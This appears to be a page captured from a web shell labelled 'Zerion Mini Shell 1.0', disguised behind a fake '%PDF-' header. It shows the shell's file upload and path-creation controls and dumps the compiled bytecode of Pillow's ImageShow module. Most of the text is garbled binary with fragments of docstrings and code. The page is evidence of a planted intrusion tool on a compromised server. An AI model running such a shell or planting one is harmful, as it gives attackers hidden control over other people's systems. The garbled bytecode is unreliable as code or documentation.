%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/PIL/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/PIL/__pycache__/ImageShow.cpython-312.pyc

�

��e� �	���ddlmZddlZddlZddlZddlZddlmZddlm	Z	gZ
d(d�Zd)d�ZGd�d	�Z
Gd
�de
�Zejdk(ree�Gd
�de
�Zejdk(ree�Gd�de
�ZGd�de�ZGd�de�ZGd�de�ZGd�de�ZGd�de�Zejdvr�ej.d�ree�ej.d�ree�ej.d�ree�ej.d �ree�ej.d!�ree�Gd"�d#e
�Z	dd$lmZee�ed%k(rseej>�d&kre d'�ejB�e	jDej>d�5Z#e ee#gej>d&d����ddd�yy#e$rY��wxYw#1swYyxYw)*�)�annotationsN��quote�)�Imagec��	t|t�r|�}|dkDrtj	|�ytjd|�y#t$rY�=wxYw)a$
    The :py:func:`register` function is used to register additional viewers::

        from PIL import ImageShow
        ImageShow.register(MyViewer())  # MyViewer will be used as a last resort
        ImageShow.register(MySecondViewer(), 0)  # MySecondViewer will be prioritised
        ImageShow.register(ImageShow.XVViewer(), 0)  # XVViewer will be prioritised

    :param viewer: The viewer to be registered.
    :param order:
        Zero or a negative integer to prepend this viewer to the list,
        a positive integer to append it.
    rN)�
issubclass�Viewer�	TypeError�_viewers�append�insert)�viewer�orders  �//usr/lib/python3/dist-packages/PIL/ImageShow.py�registerrsO��
��f�f�%��X�F�
�q�y����������6�"���
��
�s�A�	A�Ac�H�tD]}|j|fd|i|��s�yy)a
    Display a given image.

    :param image: An image object.
    :param title: Optional title. Not all viewers can display the title.
    :param \**options: Additional viewer options.
    :returns: ``True`` if a suitable viewer was found, ``False`` otherwise.
    �titleTF)r�show)�imager�optionsrs    rrr4s3������6�;�;�u�5�E�5�W�5����c�@�eZdZdZd�ZdZ	iZ	d�Zd�Zd�Z	d�Z
d�Zy)	r
zBase class for viewers.c��|jdvs\|jdk(r|jdvs?tj|j�}|j|k7r|j	|�}|j
|fi|��S)z�
        The main function for displaying an image.
        Converts the given image to the target format and displays it.
        )�1�RGBA�PNG)zI;16�LA)�mode�formatr�getmodebase�convert�
show_image)�selfrr�bases    rrzViewer.showHsk��
�J�J�-�'����u�$����~�)E��$�$�U�Z�Z�0�D��z�z�T�!��
�
�d�+���t���u�0��0�0rNc��|jS)z3Return format name, or ``None`` to save as PGM/PPM.)r �r$rs  r�
get_formatzViewer.get_format_s���{�{�rc��d}t|��)zj
        Returns the command used to display the file.
        Not implemented in the base class.
        zunavailable in base viewer)�NotImplementedError)r$�filer�msgs    r�get_commandzViewer.get_commandcs��
+��!�#�&�&rc�\�|jdd|j|�i|j��S)z+Save to temporary file and return filename.r �)�_dumpr(rr's  r�
save_imagezViewer.save_imageks(���u�{�{�I�$�/�/�%�"8�I�D�L�L�I�Irc�F�|j|j|�fi|��S)zDisplay the given image.)�	show_filer1�r$rrs   rr#zViewer.show_imageos!���t�~�~�d�o�o�e�4�@��@�@rc�P�tj|j|fi|���y)�%
        Display given file.
        r)�os�systemr-�r$�pathrs   rr3zViewer.show_filess&��	�	�	�"�$�"�"�4�3�7�3�4�r)�__name__�
__module__�__qualname__�__doc__rr rr(r-r1r#r3r/rrr
r
Cs7��!�1�$�F�/��G�7��'�J�A�rr
c�$�eZdZdZdZddd�Zd�Zy)�
WindowsViewerzNThe default viewer on Windows is the default system application for PNG files.rrT��compress_level�save_allc��d|�d|�d�S)Nzstart "Pillow" /WAIT "z)" && ping -n 4 127.0.0.1 >NUL && del /f "�"r/)r$r+rs   rr-zWindowsViewer.get_command�s��$�T�F�+���q�
"�	
rN)r;r<r=r>r rr-r/rrr@r@~s��X�
�F�!"��5�G�
rr@�win32c�*�eZdZdZdZddd�Zd�Zd�Zy)	�	MacViewerz2The default viewer on macOS using ``Preview.app``.rrTrAc�F�d}d|�dt|��dt|��d�}|S)Nzopen -a Preview.app�(� z; sleep 20; rm -f z)&r�r$r+r�commands    rr-zMacViewer.get_command�s1��(���g�Y�a��d��}�,>�u�T�{�m�2�N���rc��tjddd|g�tjxst	j
d�}|rtj|dd|g�y)r6�openz-azPreview.app�python3z-cz<import os, sys, time; time.sleep(20); os.remove(sys.argv[1])r)�
subprocess�call�sys�
executable�shutil�which�Popen)r$r:rrTs    rr3zMacViewer.show_file�sW��	�����}�d�;�<��^�^�>�v�|�|�I�'>�
�������R��	�
�rN)r;r<r=r>r rr-r3r/rrrHrH�s��<�
�F�!"��5�G��rrH�darwinc� �eZdZdZddd�Zd�Zy)�
UnixViewerrrTrAc�P�|j|fi|��d}d|�dt|���S)NrrJrK)�get_command_exrrLs    rr-zUnixViewer.get_command�s5��%�$�%�%�d�6�g�6�q�9���7�)�1�U�4�[�M�*�*rN)r;r<r=r rr-r/rrrZrZ�s��
�F�!"��5�G�+rrZc��eZdZdZd�Zd�Zy)�	XDGViewerz3
    The freedesktop.org ``xdg-open`` command.
    c��dx}}||fS)N�xdg-openr/)r$r+rrMrTs     rr\zXDGViewer.get_command_ex�s��)�)��*��
�"�"rc�2�tjd|g�y)r6r`r�rQrWr9s   rr3zXDGViewer.show_file�s��	���*�d�+�,�rN�r;r<r=r>r\r3r/rrr^r^�s���#�rr^c��eZdZdZdd�Zd�Zy)�
DisplayViewerz`
    The ImageMagick ``display`` command.
    This viewer supports the ``title`` parameter.
    Nc�8�dx}}|r|dt|���z
}||fS)N�displayz -title r�r$r+rrrMrTs      rr\zDisplayViewer.get_command_ex�s/��(�(��*����%��,��0�0�G��
�"�"rc��dg}|jd�}|r|d|gz
}|j|�tj|�y)r6rgrz-titler��getr
rQrW�r$r:r�argsrs     rr3zDisplayViewer.show_file�sH���{�����G�$����X�u�%�%�D����D�������r�Nrcr/rrrere�s���
#�rrec��eZdZdZd�Zd�Zy)�GmDisplayViewerz*The GraphicsMagick ``gm display`` command.c��d}d}||fS)N�gmz
gm displayr/�r$r+rrTrMs     rr\zGmDisplayViewer.get_command_ex�s���
����
�"�"rc�4�tjdd|g�y)r6rrrgrrbr9s   rr3zGmDisplayViewer.show_file�s��	���$�	�4�0�1�rNrcr/rrrprp�s��4�#�
rrpc��eZdZdZd�Zd�Zy)�	EogViewerz'The GNOME Image Viewer ``eog`` command.c��d}d}||fS)N�eogzeog -nr/rss     rr\zEogViewer.get_command_ex�s���
����
�"�"rc�4�tjdd|g�y)r6rxz-nrrbr9s   rr3zEogViewer.show_file�s��	���%��t�,�-�rNrcr/rrrvrv�s��1�#�
rrvc��eZdZdZdd�Zd�Zy)�XVViewerzX
    The X Viewer ``xv`` command.
    This viewer supports the ``title`` parameter.
    Nc�8�dx}}|r|dt|���z
}||fS)N�xvz -name rrhs      rr\zXVViewer.get_command_ex
s1�� $�#��*�����u���/�/�G��
�"�"rc��dg}|jd�}|r|d|gz
}|j|�tj|�y)r6r}rz-namerrjrls     rr3zXVViewer.show_filesH���v�����G�$����W�e�$�$�D����D�������rrnrcr/rrr{r{s���
#�rr{)rFrXr`rgrrrxr}c��eZdZdZd�Zy)�
IPythonViewerz!The viewer for IPython frontends.c��t|�y)Nr)�ipython_displayr4s   rr#zIPythonViewer.show_image3s
�����rN)r;r<r=r>r#r/rrr�r�0s
��+�rr�)rg�__main__�z.Syntax: python3 ImageShow.py imagefile [title])rrn)$�
__future__rr7rUrQrS�shlexr�rrrrr
r@�platformrHrZr^rerprvr{rVr��IPython.displayrgr��ImportErrorr;�len�argv�print�exitrO�imr/rr�<module>r�s���#�	�
��
���
��#�2�5�5�v
�F�
��<�<�7���]�����>�<�<�8���Y��+��+��
��"�J��4
�j�
� 
�
�
� �z��8�<�<�*�*��v�|�|�J������v�|�|�I������v�|�|�D����!��v�|�|�E������v�|�|�D������F���:�
�]���z��
�3�8�8�}�q��
�>�?�����
�	����C�H�H�Q�K�	 �'�B�
�d�2�%�������%�&�'�'���
�	��	��'�'�s�G �9G+� G(�'G(�+G4

Zerion Mini Shell 1.0